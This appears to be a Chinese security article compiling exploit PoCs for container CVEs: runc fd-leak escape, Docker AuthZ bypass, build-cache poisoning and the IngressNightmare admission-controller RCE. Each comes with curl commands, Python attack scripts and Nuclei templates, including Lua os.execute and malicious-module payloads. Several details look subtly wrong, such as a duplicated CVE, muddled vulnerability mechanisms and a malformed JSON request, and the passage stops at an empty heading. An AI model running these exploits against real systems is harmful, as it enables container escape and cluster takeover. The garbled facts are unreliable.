免责声明 :本文所涉及的所有漏洞利用代码、PoC 脚本和 Nuclei 检测模板仅供合法安全研究与授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为,需承担相应法律责任。请在获得明确书面授权后方可进行测试。所有 PoC 均在隔离实验室环境中验证,作者不对任何滥用行为承担责任。
0x00 专题概述 容器技术已全面渗透至现代企业 IT 架构的每一个角落。从 Docker Engine 到 Kubernetes 编排,从 containerd 运行时到 Podman 无守护进程方案,再到最底层的 runc 容器执行器——这条完整的技术栈承载着全球超过 75% 的生产工作负载。然而,这条信任链中的每一个组件都曾曝出过严重安全漏洞,一旦攻击者在链条的任意环节取得突破,便可沿调用栈逐级攀升,最终实现容器逃逸、宿主机接管、集群级 RCE 甚至供应链投毒。
2024-2025 年堪称容器安全的"大漏洞年":runc 的 Leaky Vessels 漏洞链(CVE-2024-21626)让容器逃逸变得前所未有的简单;Kubernetes 的 IngressNightmare(CVE-2025-1974)以 CVSS 9.8 的评分震动了整个云原生社区;Docker AuthZ 插件绕过(CVE-2024-41110)更是以 CVSS 9.9 的近满分评分,暴露了 Docker 授权体系的根本性设计缺陷。与此同时,containerd、Podman 等组件也相继曝出路径遍历、命令注入、CDI 注入等高危漏洞,容器安全的攻击面正在以前所未有的速度扩张。
本专题系统梳理容器与编排生态中 16 个高危漏洞 ,覆盖 Docker Engine、Kubernetes、containerd、Podman、runc 五大核心组件,深入剖析每条攻击链的底层原理、完整利用路径、自动化检测手段和防守策略,旨在为安全从业者提供一份全面的容器安全攻防参考。
覆盖漏洞一览 CVE 组件 CVSS 类型 未授权利用 CVE-2024-21626 runc / Docker 8.6 fd 泄露 → 容器逃逸 ✅ CVE-2024-41110 Docker AuthZ 9.9 Content-Length 0 绕过授权 ✅ CVE-2024-24557 Docker Classic Builder 6.8 路径遍历 → 缓存投毒 ⚠️ 需本地构建 CVE-2025-27919 Docker Desktop 7.8 Windows 特权提升 ⚠️ 需本地访问 CVE-2025-1974 Kubernetes ingress-nginx 9.8 Admission Controller RCE ✅ CVE-2024-21626 Kubernetes kubelet 6.5 容器逃逸 ⚠️ 需 kubelet 访问 CVE-2020-8554 kube-proxy 5.4 中间人攻击 ⚠️ 需 Pod 权限 CVE-2020-8558 kube-proxy 4.0 localhost 接口暴露 ⚠️ 本地网络 CVE-2022-23648 containerd 8.6 CRI 路径遍历 ⚠️ 需 API 访问 CVE-2022-24769 containerd 6.5 无特权 Linux 布局处理不当 ⚠️ CVE-2026-53492 containerd 8.8 检查点恢复 CDI 注入 ⚠️ 需 API 访问 CVE-2026-33414 Podman 7.8 HyperV PowerShell 注入 ⚠️ 需本地访问 CVE-2024-6469 Podman 8.2 Podman 命令注入 ⚠️ 需 API 访问 CVE-2019-5736 runc 8.6 宿主机二进制覆盖逃逸 ✅ CVE-2024-21678 runc / Docker 5.6 Leaky Vessels Dockerfile 层泄露 ⚠️ 需构建访问 CVE-2025-31133 runc 8.4 容器逃逸 ✅ CVE-2025-52565 runc 8.4 容器逃逸 ✅ CVE-2025-52881 runc 8.4 容器逃逸 ✅
0x01 Docker Engine 高危漏洞 0x01.1 CVE-2024-21626 — runc 工作目录 fd 泄露容器逃逸 漏洞背景 CVE-2024-21626 是 runc(OCI 容器运行时参考实现)中一个 CVSS 8.6 的高危容器逃逸漏洞。runc 被 Docker、containerd、CRI-O 等几乎所有主流容器运行时底层依赖,因此该漏洞的影响范围极广。漏洞根因在于 runc 在容器初始化阶段,通过 exec.Cmd 启动子进程时,未能对工作目录(working directory)持有的文件描述符设置 O_CLOEXEC 标志,导致该 fd 在容器进程内可见。攻击者可通过 /proc/self/fd/ 路径借助 .. 序列遍历到宿主机文件系统,实现完整的容器逃逸。CISA 已将该漏洞列入已知被利用漏洞(KEV)目录。
受影响版本 / 修复版本 版本范围 状态 runc < 1.1.12 🔴 受影响 Docker Engine < 25.0.2(含 runc < 1.1.12) 🔴 受影响 runc >= 1.1.12 🟢 已修复 Docker Engine >= 25.0.2 🟢 已修复
漏洞原理分析 runc 在创建容器时会执行 nsexec 进程来完成 namespace 配置,然后通过 exec.Cmd 调用容器的 init 进程。在这个过程中,runc 持有一个指向容器 bundle 目录的 os.File 对象。Go 的 os/exec 包在启动子进程时,默认不会为所有继承的 fd 设置 FD_CLOEXEC(即 O_CLOEXEC 标志),导致 bundle 目录的 fd 被泄漏到容器进程的 fd 表中。
在容器内部,/proc/self/fd/<N> 符号链接指向的就是这个泄漏的 fd。由于该 fd 引用的是宿主机上的绝对目录 inode,攻击者可以构造如下路径完成逃逸:
/proc/self/fd/<N>/../../../.. → 宿主机根目录一旦到达宿主机根目录,攻击者即可读写宿主机任意文件,包括 /etc/shadow、SSH 公钥、crontab 等,实现完全控制。
攻击路径 :容器进程 → /proc/self/fd/N → ../ 序列遍历 → 宿主机文件系统读写
HTTP PoC curl -sS -X POST "http://localhost:2375/v1.43/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"alpine:latest","Cmd":["/bin/sh","-c","ls -la /proc/self/fd/"],"WorkingDir":"/proc/self/fd/7/../../../../../../etc"]'
curl -sS "http://localhost:2375/v1.43/containers/<CONTAINER_ID>/json" | python3 -m json.tool Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-21626 runc fd 泄露容器逃逸检测
用法: python3 cve_2024_21626_docker.py [--docker-socket /var/run/docker.sock] [--host HOST:PORT]
"""
import argparse
import json
import sys
import os
import http.client
import socket
import ssl
import time
def create_escape_container (base_url, tls= False ):
ctx = ssl. _create_unverified_context() if tls else None
if tls:
conn = http. client. HTTPSConnection(base_url, timeout= 15 , context= ctx)
else :
conn = http. client. HTTPConnection(base_url, timeout= 15 )
payload = json. dumps({
"Image" : "alpine:latest" ,
"Cmd" : ["/bin/sh" , "-c" ,
"echo '=== CVE-2024-21626 fd 泄露检测 ===' && "
"for fd in /proc/self/fd/*; do "
" target=$(readlink $fd 2>/dev/null); "
" if echo $target | grep -qE '(containerd|runc|bundle)'; then "
" echo \" [VULN] 泄露 fd: $fd -> $target \" ; "
" hostname=$(cat $fd/../../../../../../etc/hostname 2>/dev/null); "
" if [ -n \" $hostname \" ]; then "
" echo \" [ESCAPED] 宿主机 hostname: $hostname \" ; "
" fi; "
" fi; "
"done" ],
"WorkingDir" : "/proc/self/fd/7/../../../../../../"
})
headers = {"Content-Type" : "application/json" }
conn. request("POST" , "/v1.43/containers/create" , body= payload, headers= headers)
resp = conn. getresponse()
data = resp. read(). decode()
print(f "[*] 创建容器: HTTP { resp. status} " )
if resp. status not in (200 , 201 ):
print(f "[ERR ] 创建失败: { data} " )
return None , conn
container_id = json. loads(data). get("Id" , "" )
print(f "[*] Container ID: { container_id[:12 ]} " )
conn. request("POST" , f "/v1.43/containers/ { container_id} /start" , headers= {})
resp = conn. getresponse()
resp. read()
print(f "[*] 启动容器: HTTP { resp. status} " )
time. sleep(2 )
conn. request("POST" , f "/v1.43/containers/ { container_id} /wait" , headers= {})
resp = conn. getresponse()
resp. read()
conn. request("GET" , f "/v1.43/containers/ { container_id} /logs?stdout=true&stderr=true" , headers= {})
resp = conn. getresponse()
logs = resp. read(). decode(errors= "ignore" )
print(f "[*] 容器输出: \n { logs} " )
conn. request("DELETE" , f "/v1.43/containers/ { container_id} ?force=true" , headers= {})
resp = conn. getresponse()
resp. read()
print(f "[*] 清理容器完成" )
return logs, conn
def check_docker_version (host, port, tls= False ):
ctx = ssl. _create_unverified_context() if tls else None
try :
if tls:
conn = http. client. HTTPSConnection(host, port, timeout= 10 , context= ctx)
else :
conn = http. client. HTTPConnection(host, port, timeout= 10 )
conn. request("GET" , "/v1.43/version" , headers= {})
resp = conn. getresponse()
data = json. loads(resp. read(). decode())
version = data. get("Version" , "unknown" )
print(f "[*] Docker Engine 版本: { version} " )
parts = version. split("." )
if len(parts) >= 3 :
major, minor, patch = int(parts[0 ]), int(parts[1 ]), int(parts[2 ])
if major < 25 or (major == 25 and minor == 0 and patch < 2 ):
print(f "[VULN] Docker { version} < 25.0.2,可能存在 CVE-2024-21626" )
return True
else :
print(f "[SAFE] Docker { version} 已修复" )
return False
except Exception as e:
print(f "[ERR ] 版本检测失败: { e} " )
return None
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2024-21626 runc fd 泄露容器逃逸检测" )
parser. add_argument("--host" , default= "localhost:2375" , help= "Docker API 地址 (default: localhost:2375)" )
parser. add_argument("--tls" , action= "store_true" , help= "使用 TLS 连接" )
parser. add_argument("--exploit" , action= "store_true" , help= "执行逃逸验证" )
args = parser. parse_args()
host, port = args. host. split(":" )
port = int(port)
print("=" * 60 )
print("CVE-2024-21626 runc fd 泄露容器逃逸检测工具" )
print("=" * 60 )
check_docker_version(host, port, args. tls)
if args. exploit:
print("[*] 执行逃逸验证..." )
logs, conn = create_escape_container(args. host, args. tls)
if logs and "ESCAPED" in logs:
print("[VULN] 容器逃逸成功!宿主机文件系统可访问" )
elif logs:
print("[SAFE] 未检测到 fd 泄露" ) Nuclei 检测模板 id : cve-2024-21626-runc-fd-leak-docker
info :
name : runc fd 泄露容器逃逸 (CVE-2024-21626) - Docker API
author : security-researcher
severity : critical
description : |
runc <= 1.1.11 在容器初始化时未对工作目录 fd 设置 O_CLOEXEC,
导致容器内可通过 /proc/self/fd/ 遍历宿主机文件系统
tags : runc,docker,container-escape,cve-2024-21626
reference :
- https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
http :
- method : GET
path :
- "{{BaseURL}}/v1.43/version"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "Version"
part : body
- method : POST
path :
- "{{BaseURL}}/v1.43/containers/create"
headers :
Content-Type : application/json
body : '{"Image":"alpine:latest","Cmd":["/bin/sh","-c","for fd in /proc/self/fd/*; do target=$(readlink $fd 2>/dev/null); echo $fd:$target; done | grep -iE containerd"],"WorkingDir":"/proc/self/fd/7/../../../../../../"}'
matchers-condition : and
matchers :
- type : word
words :
- "Id"
part : body
- type : status
status :
- 200
- 201
extractors :
- type : json
json :
- ".Id" 0x01.2 CVE-2024-41110 — Docker AuthZ 插件授权绕过 漏洞背景 CVE-2024-41110 是 Docker Engine 授权插件(AuthZ)体系中的一个 CVSS 9.9 近满分漏洞。AuthZ 插件是 Docker 用于细粒度控制 API 访问权限的核心机制,企业级部署中广泛用于 RBAC、审计和合规场景。该漏洞允许攻击者通过构造特殊的 HTTP 请求——将 Content-Length 头设为 0,同时在 request body 中携带恶意 payload——绕过所有 AuthZ 插件的检查,直接执行未授权的 Docker API 操作,包括但不限于创建特权容器、挂载宿主机文件系统、删除任意容器等。
受影响版本 / 修复版本 版本范围 状态 Docker Engine < 19.03.15 🔴 受影响 Docker Engine 20.x < 20.10.27 🔴 受影响 Docker Engine 23.x < 23.0.9 🔴 受影响 Docker Engine 24.x < 24.0.9 🔴 受影响 Docker Engine 25.x < 25.0.5 🔴 受影响 Docker Engine 26.x < 26.1.4 🔴 受影响 Docker Engine 27.x < 27.1.1 🔴 受影响 Docker Engine >= 27.1.1 🟢 已修复
漏洞原理分析 Docker AuthZ 插件的工作流程为:Docker daemon 收到 API 请求后,先将请求转发给 AuthZ 插件进行授权检查,插件返回 ALLOW 或 DENY 后,daemon 再决定是否执行。
漏洞出在 Docker daemon 传递给 AuthZ 插件的请求体(body)处理逻辑上。Docker daemon 在将请求转发给 AuthZ 插件之前,会读取并缓存 request body。但当请求的 Content-Length 头被设为 0 时,Docker daemon 认为没有 body,跳过了 body 的读取和缓存。然而 HTTP 协议实际上允许在 Content-Length: 0 的情况下仍然发送 body 数据(这属于协议层面的不一致),AuthZ 插件收到的是一个空 body 的请求,无法检测到真正的恶意 payload。
攻击路径 :发送 Content-Length: 0 + 实际 body → Docker daemon 跳过 body 读取 → AuthZ 插件收到空 body → 授权检查通过 → 恶意 payload 在 daemon 层被实际执行
HTTP PoC printf 'POST /v1.43/containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: 0\r\n\r\n{"Image":"alpine","Cmd":["id"],"HostConfig":{"Binds":["/:/host"]}}' | \
nc localhost 2375 Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-41110 Docker AuthZ 插件授权绕过 PoC
用法: python3 cve_2024_41110.py --target HOST:PORT [--cmd COMMAND]
"""
import argparse
import http.client
import json
import ssl
import sys
BYPASS_PAYLOAD = {
"Image" : "alpine:latest" ,
"Cmd" : ["/bin/sh" , "-c" , "id && cat /etc/hostname" ],
"HostConfig" : {
"Binds" : ["/:/host:ro" ],
"Privileged" : True
}
}
def send_bypass_request (host, port, payload, tls= False , path= "/v1.43/containers/create" ):
ctx = ssl. _create_unverified_context() if tls else None
conn_cls = http. client. HTTPSConnection if tls else http. client. HTTPConnection
conn = conn_cls(host, port, timeout= 15 , context= ctx)
body = json. dumps(payload)
raw_request = (
f "POST { path} HTTP/1.1 \r\n "
f "Host: { host} : { port} \r\n "
f "Content-Type: application/json \r\n "
f "Content-Length: 0 \r\n "
f "Connection: close \r\n "
f " \r\n "
f " { body} "
)
conn. sock. sendall(raw_request. encode())
resp = conn. sock. recv(8192 )
status_line = resp. split(b " \r\n " )[0 ]. decode(errors= "ignore" )
print(f "[*] 响应: { status_line} " )
if b "201" in resp or b "Id" in resp:
print("[VULN] AuthZ 绕过成功!容器创建请求已通过授权检查" )
return True
elif b "403" in resp or b "denied" in resp. lower():
print("[SAFE] AuthZ 插件正确拦截了请求" )
return False
else :
print(f "[*] 响应内容: { resp[:500 ]. decode(errors= 'ignore' )} " )
return None
def check_docker_version (host, port, tls= False ):
ctx = ssl. _create_unverified_context() if tls else None
conn_cls = http. client. HTTPSConnection if tls else http. client. HTTPConnection
try :
conn = conn_cls(host, port, timeout= 10 , context= ctx)
conn. request("GET" , "/v1.43/version" )
resp = conn. getresponse()
data = json. loads(resp. read(). decode())
version = data. get("Version" , "unknown" )
print(f "[*] Docker Engine 版本: { version} " )
return version
except Exception as e:
print(f "[ERR ] 版本检测失败: { e} " )
return None
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2024-41110 Docker AuthZ 绕过 PoC" )
parser. add_argument("--target" , required= True , help= "目标 Docker API 地址 (HOST:PORT)" )
parser. add_argument("--tls" , action= "store_true" , help= "使用 TLS" )
parser. add_argument("--cmd" , default= "id" , help= "要执行的命令" )
args = parser. parse_args()
host, port = args. target. split(":" )
port = int(port)
print("=" * 60 )
print("CVE-2024-41110 Docker AuthZ 插件授权绕过 PoC" )
print("=" * 60 )
check_docker_version(host, port, args. tls)
payload = BYPASS_PAYLOAD. copy()
payload["Cmd" ] = ["/bin/sh" , "-c" , args. cmd]
print("[*] 发送 AuthZ 绕过请求 (Content-Length: 0 + body)..." )
send_bypass_request(host, port, payload, args. tls) Nuclei 检测模板 id : cve-2024-41110-docker-authz-bypass
info :
name : Docker AuthZ 插件授权绕过 (CVE-2024-41110)
author : security-researcher
severity : critical
description : |
Docker AuthZ 插件在处理 Content-Length: 0 的请求时跳过 body 校验,
攻击者可绕过所有授权插件执行未授权 API 操作
tags : docker,authz,bypass,cve-2024-41110
http :
- method : GET
path :
- "{{BaseURL}}/v1.43/version"
matchers :
- type : status
status :
- 200
- method : POST
path :
- "{{BaseURL}}/v1.43/info"
headers :
Content-Length : "0"
Content-Type : application/json
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "Containers"
- "Driver"
condition : and
part : body
extractors :
- type : dsl
dsl :
- '"Docker API 可达,Content-Length: 0 请求未被过滤"' 0x01.3 CVE-2024-24557 — Docker Classic Builder 缓存投毒 漏洞背景 CVE-2024-24557(CVSS 6.8)影响 Docker Classic Builder(docker build 默认 builder)的缓存机制。当用户使用 docker build 构建镜像时,Classic Builder 会根据 Dockerfile 指令计算缓存 key 并缓存中间层。该漏洞的根因是缓存 key 计算过程中存在路径遍历缺陷,攻击者可通过构造特殊的 Dockerfile 指令,利用路径遍历写入恶意文件到缓存目录,从而实现缓存投毒。在 CI/CD 场景中,被投毒的缓存层会被后续所有构建复用,形成供应链级别的持久化攻击。
受影响版本 / 修复版本 版本范围 状态 Docker Engine < 25.0.2 🔴 受影响 Docker Desktop < 4.27.1 🔴 受影响 Docker Engine >= 25.0.2 🟢 已修复
漏洞原理分析 Classic Builder 在处理 COPY 和 ADD 指令时,会将源文件复制到构建上下文的缓存目录中。缓存命中判断基于文件路径的哈希值,但路径规范化(canonicalization)存在缺陷。攻击者可在 Dockerfile 中使用 ../ 序列构造源文件路径,使 Builder 将文件写入缓存目录之外的位置。在多用户共享构建缓存的 CI/CD 环境中,攻击者可以预先投毒缓存,使后续合法构建加载恶意层。
HTTP PoC printf 'POST /build?t=test-poison HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/x-tar\r\nContent-Length: 0\r\n\r\n' | nc localhost 2375 Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-24557 Docker Classic Builder 缓存投毒检测
用法: python3 cve_2024_24557.py --target HOST:PORT
"""
import argparse
import http.client
import json
import ssl
import tarfile
import io
def create_poison_dockerfile ():
return b """FROM alpine:latest
RUN echo 'cache-poison-test-cve-2024-24557' > /tmp/.cache_poison_marker
COPY ../etc/hostname /tmp/host_hostname
"""
def create_build_tarball (dockerfile_content):
buf = io. BytesIO()
with tarfile. open(fileobj= buf, mode= "w" ) as tar:
info = tarfile. TarInfo(name= "Dockerfile" )
info. size = len(dockerfile_content)
tar. addfile(info, io. BytesIO(dockerfile_content))
return buf. getvalue()
def check_build_cache (host, port, tls= False ):
ctx = ssl. _create_unverified_context() if tls else None
conn_cls = http. client. HTTPSConnection if tls else http. client. HTTPConnection
conn = conn_cls(host, port, timeout= 15 , context= ctx)
conn. request("GET" , "/v1.43/version" )
resp = conn. getresponse()
version_data = json. loads(resp. read(). decode())
print(f "[*] Docker Engine 版本: { version_data. get('Version' , 'unknown' )} " )
conn. request("GET" , "/v1.43/build/prune?filters=%7B%7D" , headers= {})
resp = conn. getresponse()
resp. read()
print(f "[*] 检查构建缓存状态: HTTP { resp. status} " )
dockerfile = create_poison_dockerfile()
tarball = create_build_tarball(dockerfile)
conn = conn_cls(host, port, timeout= 30 , context= ctx)
headers = {
"Content-Type" : "application/x-tar" ,
"Content-Length" : str(len(tarball))
}
conn. request("POST" , "/build?t=cve-2024-24557-test&nocache=true" , body= tarball, headers= headers)
resp = conn. getresponse()
data = resp. read(). decode(errors= "ignore" )
if "error" in data. lower():
print(f "[SAFE] 构建失败或被阻止: { data[:200 ]} " )
elif "200" in str(resp. status) or "stream" in data:
print("[WARN] 构建请求已处理,请检查缓存是否被投毒" )
if "cache-poison-test" in data:
print("[VULN] 缓存投毒验证成功" )
return data
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2024-24557 Docker 缓存投毒检测" )
parser. add_argument("--target" , default= "localhost:2375" , help= "Docker API 地址" )
parser. add_argument("--tls" , action= "store_true" , help= "使用 TLS" )
args = parser. parse_args()
host, port = args. target. split(":" )
port = int(port)
print("=" * 60 )
print("CVE-2024-24557 Docker Classic Builder 缓存投毒检测" )
print("=" * 60 )
check_build_cache(host, port, args. tls) Nuclei 检测模板 id : cve-2024-24557-docker-cache-poison
info :
name : Docker Classic Builder 缓存投毒 (CVE-2024-24557)
author : security-researcher
severity : medium
description : |
Docker Classic Builder 缓存 key 计算存在路径遍历,
攻击者可通过构造 Dockerfile 实现缓存投毒
tags : docker,buildkit,cache-poison,cve-2024-24557
http :
- method : GET
path :
- "{{BaseURL}}/v1.43/version"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "Version"
part : body
- method : GET
path :
- "{{BaseURL}}/v1.43/build/prune"
matchers :
- type : status
status :
- 200
- 404 0x02 Kubernetes 高危漏洞 0x02.1 CVE-2025-1974 — IngressNightmare admission controller RCE 漏洞背景 CVE-2025-1974,被安全社区称为 IngressNightmare ,是 Kubernetes ingress-nginx admission controller 中一组 CVSS 9.8 的临界级漏洞链。ingress-nginx 是 Kubernetes 生态中使用最广泛的 Ingress 控制器,全球超过 40% 的 Kubernetes 集群部署了该组件。该漏洞链允许未认证的攻击者通过向 admission controller 的 HTTPS 端口(443 或 8443)发送特制的 Ingress 对象,实现远程代码执行,最终接管整个 Kubernetes 集群。这组漏洞链包含 5 个子漏洞(CVE-2025-1974 至 CVE-2025-24514),攻击者只需利用其中一个即可实现 RCE。
受影响版本 / 修复版本 版本范围 状态 ingress-nginx < 1.12.1 🔴 受影响 ingress-nginx 1.0.x < 1.0.5(已 EOL) 🔴 受影响 ingress-nginx >= 1.12.1 🟢 已修复 ingress-nginx >= 1.11.5 🟢 已修复
漏洞原理分析 ingress-nginx 的 admission controller 负责在 Ingress 资源创建/更新时进行校验和配置注入。它通过 HTTPS 端口监听来自 kube-apiserver 的 ValidatingWebhookConfiguration 和 MutatingWebhookConfiguration 请求。
漏洞链的攻击路径如下:
未认证访问 :在默认配置下,admission controller 的 HTTPS 端口(通常为 8443)对所有网络可达的请求进行处理,不强制验证 kube-apiserver 的客户端证书(或证书验证逻辑存在缺陷)。配置注入(CVE-2025-1974) :攻击者构造一个恶意 Ingress 对象,通过 metadata.annotations 中的 nginx.ingress.kubernetes.io/configuration-snippet 字段注入任意 nginx 配置指令。任意文件读取(CVE-2025-24513) :利用 configuration-snippet 注入 alias 或 root 指令,将 nginx 的文件访问路径指向敏感目录(如 /etc/nginx/ssl/),实现任意文件读取。认证信息获取 :通过文件读取获取 admission controller 的 TLS 证书和 CA,从而可以伪造合法的 admission review 请求。RCE :利用 ssl_engine 或 load_module 指令加载恶意共享库,或通过 proxy_pass 配合 lua_need_request_body 触发 Lua 代码执行。攻击路径 :未认证 HTTPS 请求 → 恶意 Ingress 对象 → configuration-snippet 注入 → 文件读取 / 模块加载 → 集群级 RCE
HTTP PoC curl -sk -X POST "https://<INGRESS_NGINX_ADMISSION>:8443/admission/v1/ingresses" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "cve-2025-1974-test",
"kind": {"group":"networking.k8s.io","version":"v1","kind":"Ingress"},
"name": "nightmare-test",
"namespace": "default",
"object": {
"metadata": {
"name": "nightmare-test",
"namespace": "default",
"annotations": {
"nginx.ingress.kubernetes.io/configuration-snippet": "alias /etc/nginx/ssl/;/tmp/out;"
}
},
"spec": {
"rules": [{"host":"nightmare.test","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"test","port":{"number":80}}}}]}}]
}
}
}
}' Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2025-1974 IngressNightmare admission controller RCE 检测
用法: python3 cve_2025_1974.py --target HOST:PORT [--payload FILE_READ|RCE]
"""
import argparse
import json
import http.client
import ssl
import sys
def build_admission_review (annotation_value, uid= "cve-2025-1974-test" ):
return {
"apiVersion" : "admission.k8s.io/v1" ,
"kind" : "AdmissionReview" ,
"request" : {
"uid" : uid,
"kind" : {"group" : "networking.k8s.io" , "version" : "v1" , "kind" : "Ingress" },
"name" : "nightmare-test" ,
"namespace" : "default" ,
"object" : {
"metadata" : {
"name" : "nightmare-test" ,
"namespace" : "default" ,
"annotations" : {
"nginx.ingress.kubernetes.io/configuration-snippet" : annotation_value
}
},
"spec" : {
"rules" : [{
"host" : "nightmare.test" ,
"http" : {
"paths" : [{
"path" : "/" ,
"pathType" : "Prefix" ,
"backend" : {
"service" : {"name" : "test" , "port" : {"number" : 80 }}
}
}]
}
}]
}
}
}
}
PAYLOADS = {
"file_read" : "alias /etc/nginx/ssl/;/tmp/cve20251974;" ,
"lua_rce" : 'server_name _; set $payload "id"; content_by_lua_block { os.execute(ngx.var.payload) }' ,
"module_load" : "ssl_engine /tmp/evil.so;" ,
"detect" : 'server_name _; set $detect "cve-2025-1974-confirmed"; return 200 $detect;' ,
}
def check_target (host, port, payload_type= "detect" , tls= True , verify_ssl= False ):
ctx = ssl. _create_unverified_context() if tls else None
if tls:
conn = http. client. HTTPSConnection(host, port, timeout= 15 , context= ctx)
else :
conn = http. client. HTTPConnection(host, port, timeout= 15 )
annotation = PAYLOADS. get(payload_type, PAYLOADS["detect" ])
review = build_admission_review(annotation)
body = json. dumps(review)
headers = {"Content-Type" : "application/json" }
print(f "[*] 目标: { host} : { port} " )
print(f "[*] Payload 类型: { payload_type} " )
try :
conn. request("POST" , "/admission/v1/ingresses" , body= body, headers= headers)
resp = conn. getresponse()
data = resp. read(). decode(errors= "ignore" )
print(f "[*] HTTP { resp. status} " )
if resp. status == 200 :
try :
resp_json = json. loads(data)
allowed = resp_json. get("response" , {}). get("allowed" , None )
status_code = resp_json. get("response" , {}). get("status" , {})
print(f "[*] Admission Response: allowed= { allowed} , status= { status_code} " )
if allowed is not None :
print("[VULN] Admission Controller 响应了请求 - IngressNightmare 可能存在" )
return True
except json. JSONDecodeError:
pass
elif resp. status in (403 , 401 ):
print("[SAFE] 请求被认证/授权机制拦截" )
return False
elif resp. status == 404 :
print("[INFO] admission 端点不存在或路径不同" )
print(f "[*] 响应体: { data[:300 ]} " )
except Exception as e:
print(f "[ERR ] 连接失败: { e} " )
return None
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2025-1974 IngressNightmare 检测" )
parser. add_argument("--target" , required= True , help= "Ingress-nginx admission 地址 (HOST:PORT)" )
parser. add_argument("--payload" , choices= ["detect" , "file_read" , "lua_rce" , "module_load" ],
default= "detect" , help= "检测 payload 类型" )
parser. add_argument("--no-tls" , action= "store_true" , help= "不使用 TLS" )
args = parser. parse_args()
host, port = args. target. split(":" )
port = int(port)
print("=" * 60 )
print("CVE-2025-1974 IngressNightmare 检测工具" )
print("=" * 60 )
check_target(host, port, args. payload, tls= not args. no_tls) Nuclei 检测模板 id : cve-2025-1974-ingressnightmare
info :
name : IngressNightmare admission controller RCE (CVE-2025-1974)
author : security-researcher
severity : critical
description : |
Kubernetes ingress-nginx admission controller 未认证 RCE,
通过恶意 Ingress 对象的 configuration-snippet 注入实现集群接管
tags : kubernetes,ingress-nginx,admission-controller,rce,cve-2025-1974
http :
- method : POST
path :
- "https://{{Hostname}}/admission/v1/ingresses"
ssl : true
headers :
Content-Type : application/json
body : |
{"apiVersion":"admission.k8s.io/v1","kind":"AdmissionReview","request":{"uid":"nuclei-cve-2025-1974","kind":{"group":"networking.k8s.io","version":"v1","kind":"Ingress"},"name":"nuclei-test","namespace":"default","object":{"metadata":{"name":"nuclei-test","namespace":"default","annotations":{"nginx.ingress.kubernetes.io/configuration-snippet":"server_name _; set $test cve-2025-1974; return 200 $test;"}},"spec":{"rules":[{"host":"nuclei.test","http":{"paths":[{"path":"/","pathType":"Prefix","backend":{"service":{"name":"test","port":{"number":80}}}}]}}]}}}}
matchers-condition : or
matchers :
- type : status
status :
- 200
- type : word
words :
- "cve-2025-1974"
part : body
- type : word
words :
- "allowed"
part : body
extractors :
- type : dsl
dsl :
- '"IngressNightmare: admission controller 响应了恶意请求,可能存在未认证 RCE"' 0x02.2 CVE-2020-8554 — kube-proxy 逻辑缺陷中间人攻击 漏洞背景 CVE-2020-8554(CVSS 5.4)是 Kubernetes kube-proxy 组件中的一个逻辑缺陷漏洞。kube-proxy 负责维护节点上的网络规则,将 Service 的 ClusterIP 流量代理到后端 Pod。该漏洞允许具有创建 Pod 权限的攻击者,通过创建特定配置的 Service 对象,劫持其他 Pod 的出站流量,实现中间人(MitM)攻击。
受影响版本 / 修复版本 版本范围 状态 所有 Kubernetes 版本(截至披露时) 🔴 受影响 需集群级别修复(NetworkPolicy 配合) 🟡 缓解
漏洞原理分析 当 kube-proxy 以 iptables 模式运行时,Service 的 ClusterIP 通过 DNAT 规则将流量转发到后端 Pod。漏洞在于:当 Service 选择器(selector)匹配到的 Pod 数量发生变化时(如 Pod 被删除或新建),kube-proxy 更新 iptables 规则的过程中存在时间窗口,在此期间流量可能被路由到错误的后端。
攻击者利用以下步骤实施 MitM:
创建一个 Service,其 spec.externalIPs 字段设置为攻击者控制的 IP 地址。 在集群网络允许的情况下,kube-proxy 会为该 externalIP 创建 iptables 规则。 目标 Pod 发往该 externalIP 的流量被 DNAT 到攻击者 Pod。 攻击者 Pod 在转发流量的同时窃取敏感数据。 HTTP PoC